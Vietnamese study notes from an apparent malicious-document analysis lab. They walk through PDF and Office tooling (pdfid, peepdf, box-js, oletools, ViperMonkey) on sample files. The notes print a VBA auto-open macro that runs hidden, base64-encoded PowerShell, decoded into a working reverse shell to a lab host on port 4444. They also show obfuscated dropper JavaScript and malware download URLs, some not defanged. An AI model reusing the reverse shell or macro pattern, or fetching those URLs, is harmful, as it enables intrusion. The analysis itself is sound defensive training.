Initial Access - Spearphishing Attachment

Kẻ tấn công, đặc biệt là các APT, thường dùng kỹ thuật spearphising attachment để có được initial access. Email gửi đến nạn nhân được xây dựng và cá nhân hóa một cách cẩn thận.

Một vài họ mã độc tồn tại trong các tài liệu đính kèm:

  • Emotet: banking trojan, được phát tán thông qua tài liệu Microsoft Word. Khi được cài đặt, nó có thể đánh cắp các thông tin nhạy cảm chẳng hạn như banking credentials và các địa chỉ email. Nó cũng có thể được dùng để tải thêm các mã độc khác.
  • Trickbot: banking trojan và có thiết kế module hóa giúp kẻ tấn công có thể thêm vào các chức năng nếu cần. Có thể được dùng để phát tán ransomware và truy xuất dữ liệu.
  • QBot: banking trojan và có thể được dùng để tải thêm mã độc và cài cắm backdoor.
  • Dridex: banking trojan và là loại phổ biến trong những năm gần đây kể từ 2014.
  • Locky: ransomware và thường được phát tán thông qua Microsoft Word.
  • Zeus: banking trojan và được dùng cho các cuộc tấn công cấp cao.
  • Petya: ransomware mã hóa toàn bộ ổ đĩa nên khó khôi phục hơn các loại ransomware khác.

Documents and Their Malicious Use

Một số loại tài liệu được dùng để phát tán mã độc:

  • PDF: có thể chứa link phising.
  • DOCX: thông qua macro.
  • XLSX: cũng thông qua macro.
  • PPTX: mã độc được nhúng vào hoặc cũng có thể chứa link phising.
  • OneNote: được dùng để tấn công phising nhằm khiến cho nạn nhân tải về mã độc (có thể thông qua một đường link nào đó).

PDF Documents - Structure

File PDF bao gồm các object được tổ chức theo một cấu trúc cụ thể.

  • PDF header: bao gồm file signature và version.
  • PDF body: bao gồm một chuỗi các object. Mỗi object bao gồm một object number và một generation number dùng để định danh object.
  • PDF cross-reference table: bảng chứa vị trí của các object trong file.
  • PDF trailer: chứa các thông tin về tài liệu chẳng hạn như vị trí của cross-reference table, kích thước của file và các cài đặt mã hóa hoặc bảo vệ.

Minh họa:

Một số từ khóa trong PDF mà ta cần quan tâm:

PDF Keyword
Actions
/JavaScript

/JS
This keyword points to the JavaScript that will run when the document is opened.
/NamesFile names that will most likely be referred to by the PDF itself.
/OpenAction

/AA (Additional Action)
This element’s function is to carry out an action, such as running a script.
/EmbeddedFileShows other files embedded within the PDF file, such as scripts.
/URI

/SubmitForm
Links to other URLs on the internet.
/LaunchThis keyword is used to run embedded scripts within the PDF file itself or run new additional files that have been downloaded by the PDF.

Analyzing a PDF Document

pdfid.py

Dùng tool pdfid.py để tóm tắt các object/keyword có trong tài liệu:

remnux@thm-remnux:~/Desktop$ pdfid.py simple.pdf
PDFiD 0.2.5 simple.pdf
 PDF Header: %PDF-1.7
 obj                   18
 endobj                18
 stream                 3
 endstream              3
 xref                   1
 trailer                1
 startxref              1
 /Page                  1
 /Encrypt               0
 /ObjStm                0
 /JS                    1
 /JavaScript            1
 /AA                    0
 /OpenAction            1
 /AcroForm              0
 /JBIG2Decode           0
 /RichMedia             0
 /Launch                0
 /EmbeddedFile          0
 /XFA                   0
 /Colors > 2^24         0

Giải thích output:

  1. Object: có 18 object.
  2. Stream: có 3 stream.
  3. /JS/JavaScript: 1 JavaScript và 1 JS instance.
  4. /OpenAction: có một hành động sẽ được thực thi khi mở file. Có thể là chạy JavaScript, tải payload, …

pdf-parser.py

Dùng tool pdf-parser.py để phân tách tài liệu:

remnux@thm-remnux:~/Desktop$ pdf-parser.py --help
Usage: pdf-parser.py [options] pdf-file|zip-file|url
pdf-parser, use it to parse a PDF document
 
Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -m, --man             Print manual
  -s SEARCH, --search=SEARCH
                        string to search in indirect objects (except streams)
  -f, --filter          pass stream object through filters (FlateDecode,
                        ASCIIHexDecode, ASCII85Decode, LZWDecode and
                        RunLengthDecode only)
  -o OBJECT, --object=OBJECT
                        id(s) of indirect object(s) to select, use comma (,)
                        to separate ids (version independent)
  -r REFERENCE, --reference=REFERENCE
                        id of indirect object being referenced (version
                        independent)
  -e ELEMENTS, --elements=ELEMENTS
                        type of elements to select (cxtsi)
  -w, --raw             raw output for data and filters
  -a, --stats           display stats for pdf document
  -t TYPE, --type=TYPE  type of indirect object to select
  -O, --objstm          parse stream of /ObjStm objects
  -v, --verbose         display malformed PDF elements
  -x EXTRACT, --extract=EXTRACT
                        filename to extract malformed content to
  -H, --hash            display hash of objects
  -n, --nocanonicalizedoutput
                        do not canonicalize the output
  -d DUMP, --dump=DUMP  filename to dump stream content to
  -D, --debug           display debug info
  -c, --content         display the content for objects without streams or
                        with streams without filters
  --searchstream=SEARCHSTREAM
                        string to search in streams
  --unfiltered          search in unfiltered streams
  --casesensitive       case sensitive search in streams
  --regex               use regex to search in streams
  --overridingfilters=OVERRIDINGFILTERS
                        override filters with given filters (use raw for the
                        raw stream content)
  -g, --generate        generate a Python program that creates the parsed PDF
                        file
  --generateembedded=GENERATEEMBEDDED
                        generate a Python program that embeds the selected
                        indirect object as a file
  -y YARA, --yara=YARA  YARA rule (or directory or @file) to check streams
                        (can be used with option --unfiltered)
  --yarastrings         Print YARA strings
  --decoders=DECODERS   decoders to load (separate decoders with a comma , ;
                        @file supported)
  --decoderoptions=DECODEROPTIONS
                        options for the decoder
  -k KEY, --key=KEY     key to search in dictionaries

Có thể tìm các object có keyword “OpenAction”:

remnux@thm-remnux:~/Desktop$ pdf-parser.py --search OpenAction simple.pdf
obj 1 0
 Type: /Catalog
 Referencing: 2 0 R, 3 0 R, 4 0 R, 5 0 R, 6 0 R
 
  <<
    /Type /Catalog
    /Pages 2 0 R
    /Lang (en-GB)
    /StructTreeRoot 3 0 R
    /MarkInfo
      <<
        /Marked true
      >>
    /Metadata 4 0 R
    /ViewerPreferences 5 0 R
    /OpenAction 6 0 R
  >>

Keyword /OpenAction tham chiếu đến object 6 có nội dung như sau:

remnux@thm-remnux:~/Desktop$ pdf-parser.py --object 6 simple.pdf
obj 6 0
 Type: /Action
 Referencing:
 
  <<
    /Type /Action
    /S /JavaScript
    /JS <6170702E616C657274282254484D7B4C75636B696C795F546869735F49736E27745F4861726D66756C7D22293B0A>
  >>

Có thể thấy, khi tài liệu này được mở thì nó sẽ thực thi code JavaScript.

peepdf.py

Dùng tool peepdf để kiểm tra các thành phần độc hại có trong tài liệu:

remnux@thm-remnux:~/Desktop$ peepdf simple.pdf
Warning: PyV8 is not installed!!
 
File: simple.pdf
MD5: 2992490eb3c13d8006e8e17315a9190e
SHA1: 75884015d6d984a4fcde046159f4c8f9857500ee
SHA256: 83fefd2512591b8d06cda47d56650f9cbb75f2e8dbe0ab4186bf4c0483ef468a
Size: 28891 bytes
Version: 1.7
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 18
Streams: 3
URIs: 0
Comments: 0
Errors: 0
 
Version 0:
        Catalog: 1
        Info: 7
        Objects (18): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18]
        Streams (3): [4, 15, 18]
                Encoded (2): [15, 18]
        Objects with JS code (1): [6]
        Suspicious elements:
                /OpenAction (1): [1]
                /JS (1): [6]
                /JavaScript (1): [6]

Output bao gồm những thông tin sau:

  • Các giá trị băm của file.
  • Số lượng các object, stream và URL.
  • Các tham chiếu đến các object.
  • Danh sách các thành phần đáng ngờ chẳng hạn như JavaScript, OpenAction, …

Nếu dùng thêm option -i thì có thể vào interactive mode:

PPDF> help
 
Documented commands (type help <topic>):
========================================
bytes           exit         js_jjdecode       open          search
changelog       extract      js_join           quit          set
create          filters      js_unescape       rawobject     show
decode          hash         js_vars           rawstream     stream
decrypt         help         log               references    tree
embed           info         malformed_output  replace       vtcheck
encode          js_analyse   metadata          reset         xor
encode_strings  js_beautify  modify            save          xor_search
encrypt         js_code      object            save_version
errors          js_eval      offsets           sctest

Có thể dùng lệnh object đi kèm với số của object để dump ra nội dung của object đó:

PPDF> object 6
 
<< /Type /Action
/S /JavaScript
/JS app.alert("THM{Luckily_This_Isn't_Harmful}");
 >>

Analyzing Malicious JavaScript

Sau khi SOC L1 phân tích file PDF thì gửi mã độc JS cho SOC L2 như sau:

var Bslfjd = "?nPn]09>/xEhH>5VaT{6&j6";                                                                                         var qXuWH = "Wyre";                                                                                             function orhBuE6V(Eu,Dwm) {
var d8G = "remarkable library pool manner growing slightly gas outside share page window immediate inflation its duty ex
actly size boyfriend demand lovely careful interview weapon initial agent";
}                                                                                                                       var E5nalS82 = qXuWH.replace("Wy", "");                                                                                 var qlce = "inflation creation dry behaviour plus criticise terrible order potential mood beginning operate freedom tiny consider call achievement my slightly layer distribution artist happen western study card side fuck tomato being";
var BaBRwKe = "wCs>t";
for (var RoFyXTWa = 9563; RoFyXTWa < 878; $i += 765) {
var Osw = 7089611;
var lSZz = "49]p2TFJj~/Mn}iR@x?qGZoS([YJ7";
}
var bxu = BaBRwKe.replace("wCs>", "");
function $PXFL(sC,Ir1R,Xx,gc) {
function L3ZC(szTe,Dya,bHipnz$) {
var EKMWE2cf = "feed bus commercial bother ask magazine provision carefully fuel";
var SHgV = "ND?dGxJz{Hy>-@p?}?Ppx~";
var N$LX = 8071590;
var xh5 = "UH:|A|;w<NqUYv0@|zW(Eo$8|h-q,R";
}
}
var OHi = "/OJ.Tu";
function PtOiA38() {
for (var keJNbw = 3808; keJNbw < 539; $i += 485) {
var AS0Kp = "sea arm mountain flat corner closely design volume former laptop begin attention day";
var TMJMgB0 = 7162145;
var kb = "{45)9m@,{BfZdp(Kpy[/(y";

Có thể thấy, đoạn mã trên bị làm rối nên việc phân tích sẽ rất phức tạp và tốn thời gian.

Chúng ta có thể dùng tool box-js để phân tích và thực thi JavaScript trong một môi trường có kiểm soát.

remnux@thm-remnux:~/Javascript-code$ box-js embedded-code.js
Using a 10 seconds timeout, pass --timeout to specify another timeout in seconds
[warn] jschardet (v1.6.0) couldn't detect encoding, using UTF-8
[info] GET https://oopt.center:443/bitrix/HKD1OCEK4mWEc0/
[info] IOC: The script fetched an URL.
[info] GET http://aristonbentre.com/slideshow/O1uPzXd2YscA/
[info] IOC: The script fetched an URL.
[info] GET https://applink.gr/wp-admin/pWxO42PQrVL0ja5LTfhy/
[info] IOC: The script fetched an URL.
[info] GET http://attatory.com/i-bmail/6AfEa8G0W8NOtUh7hqFj/
[info] IOC: The script fetched an URL.
[info] GET http://asakitreks.com/uploads/ce8u7/
[info] IOC: The script fetched an URL.
[info] GET https://www.ata-sistemi.si/wp-admin/cVDQapxmtAQQq1gr3/
[info] IOC: The script fetched an URL.
[info] GET http://bvdkhuyentanyen.vn/files/TKK8yKdEvyYAbBE5avb/
[info] IOC: The script fetched an URL.
[info] GET http://bluegdps100.7m.pl/app/Ac8wwulKxqZjc/
[info] IOC: The script fetched an URL.
[info] GET https://casapollux.com/Bilder/GDo3zoURY/
[info] IOC: The script fetched an URL.

Tool này đồng thời cũng tạo ra một thư mục con chứa các file hữu ích:

remnux@thm-remnux:~/Javascript-code$ cd embedded-code.js.results/
remnux@thm-remnux:~/Javascript-code/embedded-code.js.results$ ls
6f7e98c4-ff34-4445-8c15-685654f4a679.js  analysis.log  IOC.json  snippets.json  urls.json

Danh sách các URL:

remnux@thm-remnux:~/Javascript-code/embedded-code.js.results$ cat urls.json
[
        "hxxps://oopt.center:443/bitrix/HKD1OCEK4mWEc0/",
        "hxxp://aristonbentre.com/slideshow/O1uPzXd2YscA/",
        "hxxps://applink.gr/wp-admin/pWxO42PQrVL0ja5LTfhy/",
        "hxxp://attatory.com/i-bmail/6AfEa8G0W8NOtUh7hqFj/",
        "hxxp://asakitreks.com/uploads/ce8u7/",
        "hxxps://www.ata-sistemi.si/wp-admin/cVDQapxmtAQQq1gr3/",
        "hxxp://bvdkhuyentanyen.vn/files/TKK8yKdEvyYAbBE5avb/",
        "hxxp://bluegdps100.7m.pl/app/Ac8wwulKxqZjc/",
        "hxxps://casapollux.com/Bilder/GDo3zoURY/ "
]

Warning

Các URL trên đều là mã độc nguy hiểm và cần defang (làm cho nó không hoạt động được và có thể chia sẻ). Ví dụ, http://aristonbentre.com/slideshow/O1uPzXd2YscA/ khi defang sẽ là hxxp://aristonbentre[.]com/slideshow/01uPzXd2YscA/.

Office Docs Analysis

File Word có hai loại định dạng:

  • Structured Storage Format: có dạng nhị phân dùng cho Microsoft Word 97-2003 và có extension là .doc, .ppt, .xml, …
  • Office Open XML Format (OOXML): định dạng theo kiểu XML và dùng cho Microsoft Word 2007 trở về sau. Bản chất là một file nén chứa các dữ liệu liên quan đến tài liệu. Extension của định dạng này là .docx, .docm, …

Các thành phần độc hại tồn tại bên trong file Word:

  • Macros: các đoạn script VBA được nhúng vào file Word. Thường được dùng để tự động hóa các tác vụ nhưng cũng có thể được dùng để thực thi mã độc.
  • Embedded objects: là các object được nhúng vào file chẳng hạn như hình ảnh, audio hoặc video, … Các object này cũng có thể được dùng để khai thác.
  • Link: dẫn web host malware hoặc phising.
  • Exploit: là các đoạn code để khai thác phần mềm mở file.
  • Hidden content: là các nội dung vô hình nhưng được dùng để thực thi mã độc.

File Type Identification

Dùng tool trid để xác nhận loại tập tin:

remnux@thm-remnux:~/worddoc$ trid suspicious.doc
 
TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found:  13206
Analyzing...
 
Collecting data from file: suspicious.doc
 52.6% (.DOC) Microsoft Word document (30000/1/2)
 33.3% (.DOC) Microsoft Word document (old ver.) (19000/1/2)
 14.0% (.) Generic OLE2 / Multistream Compound (8000/1)

oleid.py

Script oleid thuộc oletools được dùng để trích xuất những thông tin cơ bản về tài liệu:

remnux@thm-remnux:~/worddoc$ oleid suspicious.doc
oleid 0.54 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
 
Filename: suspicious.doc
 Indicator                      Value
 OLE format                     True
 Has SummaryInformation stream  True
 Application name               b'Microsoft Office Word'
 Encrypted                      False
 Word Document                  True
 VBA Macros                     True
 Excel Workbook                 False
 PowerPoint Presentation        False
 Visio Drawing                  False
 ObjectPool                     False
 Flash objects                  0

Có thể thấy:

  • Tài liệu có tên là suspicious.doc.
  • Nó không được mã hóa.
  • Nó có chứa VBA macros.
  • Nó là tài liệu Word.

olemeta.py

Script olemeta được dùng để trích xuất thông tin thuộc tính của các stream:

remnux@thm-remnux:~/worddoc$ olemeta suspicious.doc
olemeta 0.54 - http://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
===============================================================================
FILE: suspicious.doc
 
Properties from the SummaryInformation stream:
+---------------------+------------------------------+
|Property             |Value                         |
+---------------------+------------------------------+
|codepage             |1252                          |
|title                |                              |
|subject              |                              |
|author               |CMNatic                       |
|keywords             |                              |
|comments             |                              |
|template             |Normal.dotm                   |
|last_saved_by        |CMNatic                       |
|revision_number      |1                             |
|total_edit_time      |60                            |
|create_time          |2023-09-12 11:45:00           |
|last_saved_time      |2023-09-12 11:46:00           |
|num_pages            |1                             |
|num_words            |0                             |
|num_chars            |0                             |
|creating_application |Microsoft Office Word         |
|security             |0                             |
+---------------------+------------------------------+
 
Properties from the DocumentSummaryInformation stream:
+---------------------+------------------------------+
|Property             |Value                         |
+---------------------+------------------------------+
|codepage_doc         |1252                          |
|lines                |0                             |
|paragraphs           |0                             |
|scale_crop           |False                         |
|company              |                              |
|links_dirty          |False                         |
|chars_with_spaces    |0                             |
|shared_doc           |False                         |
|hlinks_changed       |False                         |
|version              |1048576                       |
+---------------------+------------------------------+

Một số thông tin quan trọng:

  • Thời điểm tài liệu được tạo ra và được lưu lại.
  • Tên tác giả.

oletimes.py

Được dùng để hiển thị thời gian tạo hoặc chỉnh sửa của các stream khác nhau trong tài liệu:

remnux@thm-remnux:~/worddoc$ oletimes suspicious.doc
oletimes 0.54 - http://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
===============================================================================
FILE: suspicious.doc
 
+----------------------------+---------------------+---------------------+
| Stream/Storage name        | Modification Time   | Creation Time       |
+----------------------------+---------------------+---------------------+
| Root                       | 2023-09-12 11:46:53 | None                |
| '\x01CompObj'              | None                | None                |
| '\x05DocumentSummaryInform | None                | None                |
| ation'                     |                     |                     |
| '\x05SummaryInformation'   | None                | None                |
| '1Table'                   | None                | None                |
| 'Macros'                   | 2023-09-12 11:46:53 | 2023-09-12 11:46:53 |
| 'Macros/PROJECT'           | None                | None                |
| 'Macros/PROJECTwm'         | None                | None                |
| 'Macros/VBA'               | 2023-09-12 11:46:53 | 2023-09-12 11:46:53 |
| 'Macros/VBA/NewMacros'     | None                | None                |
| 'Macros/VBA/ThisDocument'  | None                | None                |
| 'Macros/VBA/_VBA_PROJECT'  | None                | None                |
| 'Macros/VBA/dir'           | None                | None                |
| 'WordDocument'             | None                | None                |
+----------------------------+---------------------+---------------------+

olemap.py

Hiển thị thông tin chi tiết về các sector khác nhau mà có chứa nội dung của file:

remnux@thm-remnux:~/worddoc$ olemap suspicious.doc
olemap 0.55 - http://decalage.info/python/oletools
-------------------------------------------------------------------------------
FILE: suspicious.doc
 
OLE HEADER:
+------------------------+----------------+-----------------------------------+
|Attribute               |Value           |Description                        |
+------------------------+----------------+-----------------------------------+
|OLE Signature (hex)     |D0CF11E0A1B11AE1|Should be D0CF11E0A1B11AE1         |
|Header CLSID            |                |Should be empty (0)                |
|Minor Version           |003E            |Should be 003E                     |
|Major Version           |0003            |Should be 3 or 4                   |
|Byte Order              |FFFE            |Should be FFFE (little endian)     |
|Sector Shift            |0009            |Should be 0009 or 000C             |
|# of Dir Sectors        |0               |Should be 0 if major version is 3  |
|# of FAT Sectors        |1               |                                   |
|First Dir Sector        |00000028        |(hex)                              |
|Transaction Sig Number  |0               |Should be 0                        |
|MiniStream cutoff       |4096            |Should be 4096 bytes               |
|First MiniFAT Sector    |0000002A        |(hex)                              |
|# of MiniFAT Sectors    |2               |                                   |
|First DIFAT Sector      |FFFFFFFE        |(hex)                              |
|# of DIFAT Sectors      |0               |                                   |
+------------------------+----------------+-----------------------------------+
 
CALCULATED ATTRIBUTES:
+------------------------+----------------+-----------------------------------+
|Attribute               |Value           |Description                        |
+------------------------+----------------+-----------------------------------+
|Sector Size (bytes)     |512             |Should be 512 or 4096 bytes        |
|Actual File Size (bytes)|32768           |Real file size on disk             |
|Max File Size in FAT    |66048.0         |Max file size covered by FAT       |
|Extra data beyond FAT   |0               |Only if file is larger than FAT    |
|                        |                |coverage                           |
|Extra data offset in FAT|00008000        |Offset of the 1st free sector at   |
|                        |                |end of FAT                         |
|Extra data size         |0               |Size of data starting at the 1st   |
|                        |                |free sector at end of FAT          |
+------------------------+----------------+-----------------------------------+

olevba.py

Trích xuất tất cả các VBA stream và đưa ra tóm tắt về các thành phần đáng ngờ:

remnux@thm-remnux:~/worddoc$ olevba3 suspicious.doc
olevba 0.56 on Python 3.6.9 - http://decalage.info/python/oletools
===============================================================================
FILE: suspicious.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: suspicious.doc - OLE stream: 'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: suspicious.doc - OLE stream: 'Macros/VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
        AutoOpenMacro
End Sub
 
Sub Document_Open()
        AutoOpenMacro
End Sub
 
Sub AutoOpenMacro()
        Dim Str As String
 
        Str = Str + "powershell.exe -nop -w hidden -e bGllbnQgPSBOZXctT"
        Str = Str + "2JqZWN0IFN5c3RlbS5OZXQuU29ja2V0cy5UQ1BDbGllbnQoImh"
        Str = Str + "0dHA6Ly90aG1yZWR0ZWFtLnRobS9zdGFnZTIuZXhlIiw0NDQ0K"
        Str = Str + "Tskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVt"
        Str = Str + "dXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJ"
        Str = Str + "HN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCk"
        Str = Str + "pIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hb"
        Str = Str + "WUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5"
        Str = Str + "nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0Y"
        Str = Str + "SAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2V"
        Str = Str + "uZGJhY2sgKyAiUFMgIiArIChwd2QpLlBhdGggKyAiPiAiOyRzZ"
        Str = Str + "W5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXR"
        Str = Str + "CeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kY"
        Str = Str + "nl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2g"
        Str = Str + "oKX07JGNsaWVudC5DbG9zZSgp"
 
        CreateObject("Wscript.Shell").Run Str
End Sub
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Wscript.Shell       |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Run                 |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|powershell          |May run PowerShell commands                  |
|Suspicious|CreateObject        |May create an OLE object                     |
|IOC       |powershell.exe      |Executable file name                         |
+----------+--------------------+---------------------------------------------+

Output trên là các macro được tìm thấy trong tài liệu kèm với bảng tóm tắt.

Có thể thấy, tài liệu chứa:

  • Code được thực thi tự động khi người dùng mở file.
  • Các chuỗi được Base64 encode đáng ngờ.
  • Code PowerShell.

oledump.py

Được dùng để kiểm tra xem có macro nào được nhúng trong các stream của tài liệu hay không.

remnux@thm-remnux:~/worddoc$ oledump.py suspicious.doc
  1:       114 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:      7385 '1Table'
  5:       412 'Macros/PROJECT'
  6:        71 'Macros/PROJECTwm'
  7: M    3303 'Macros/VBA/NewMacros'
  8: m     938 'Macros/VBA/ThisDocument'
  9:      2634 'Macros/VBA/_VBA_PROJECT'
 10:       569 'Macros/VBA/dir'
 11:      4096 'WordDocument'

Ký tự M/m cho biết stream có chứa macro.

Có thể thêm option -M hoặc --metadata để hiển thị metadata tương tự như olemeta hoặc dùng option -s# với # là số của stream để xem thông tin chi tiết về stream:

remnux@thm-remnux:~/worddoc$ oledump.py -s7 -v suspicious.doc
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
        AutoOpenMacro
End Sub
 
Sub Document_Open()
        AutoOpenMacro
End Sub
 
Sub AutoOpenMacro()
        Dim Str As String
 
        Str = Str + "powershell.exe -nop -w hidden -e bGllbnQgPSBOZXctT"
        Str = Str + "2JqZWN0IFN5c3RlbS5OZXQuU29ja2V0cy5UQ1BDbGllbnQoImh"
        Str = Str + "0dHA6Ly90aG1yZWR0ZWFtLnRobS9zdGFnZTIuZXhlIiw0NDQ0K"
        Str = Str + "Tskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVt"
        Str = Str + "dXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJ"
        Str = Str + "HN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCk"
        Str = Str + "pIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hb"
        Str = Str + "WUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5"
        Str = Str + "nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0Y"
        Str = Str + "SAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2V"
        Str = Str + "uZGJhY2sgKyAiUFMgIiArIChwd2QpLlBhdGggKyAiPiAiOyRzZ"
        Str = Str + "W5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXR"
        Str = Str + "CeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kY"
        Str = Str + "nl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2g"
        Str = Str + "oKX07JGNsaWVudC5DbG9zZSgp"
 
        CreateObject("Wscript.Shell").Run Str
End Sub

ViperMonkey

Câu lệnh sử dụng:

remnux@thm-remnux:~/worddoc$ vmonkey suspicious.doc

Là công cụ dùng để phân tích và giả lập hành vi của các macro độc hại trong một môi trường cô lập:

-------------------------------------------------------------------------------
TRACING VBA CODE (entrypoint = Auto*):
INFO     Found possible intermediate IOC (URL): 'http://schemas.openxmlformats.org/drawingml/2006/main'
INFO     Emulating loose statements...
INFO     ACTION: Found Entry Point - params 'autoopen' -
INFO     evaluating Sub AutoOpen
INFO     Calling Procedure: AutoOpenMacro('[]')
INFO     evaluating Sub AutoOpenMacro
INFO     Found possible intermediate IOC (base64): 'powershell.exe -nop -w hidden -e bGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuU29ja2V0cy5UQ1BDbGllbnQoImh ...'
INFO     calling Function: CreateObject('Wscript.Shell')
INFO     ACTION: CreateObject - params ['Wscript.Shell'] - Interesting Function Call
INFO     calling Function: Run('powershell.exe -nop -w hidden -e bGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuU29ja2...)
INFO     ACTION: Run - params ['powershell.exe -nop -w hidden -e bGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuU29ja2V0cy5UQ1BDbGllbnQoImh0dHA6Ly90aG1yZWR0ZWFtLnRobS9zdGFnZTIuZXhlIiw0NDQ0KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0YSAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAiUFMgIiArIChwd2QpLlBhdGggKyAiPiAiOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgp'] - Interesting Function Call

Có thể thấy, macro thực thi đoạn script PowerShell được Base64 encode sau:

bGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuU29ja2V0cy5UQ1BDbGllbnQoImh0dHA6Ly90aG1yZWR0ZWFtLnRobS9zdGFnZTIuZXhlIiw0NDQ0KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0YSAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAiUFMgIiArIChwd2QpLlBhdGggKyAiPiAiOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgp

Decode:

lient = New-Object System.Net.Sockets.TCPClient("http://thmredteam.thm/stage2.exe",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Có thể thấy, macro thực hiện kết nối đến C2 server có URL là http://thmredteam.thm/stage2.exe với port là 4444.

OneNote

File OneNote có extension là .one hoặc .onenote.

Xác nhận loại file:

remnux@thm-remnux:~/onenoteDocs$ trid invoice.one
 
TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found:  13206
Analyzing...
 
Collecting data from file: invoice.one
100.0% (.ONE) Microsoft OneNote note (16008/2)

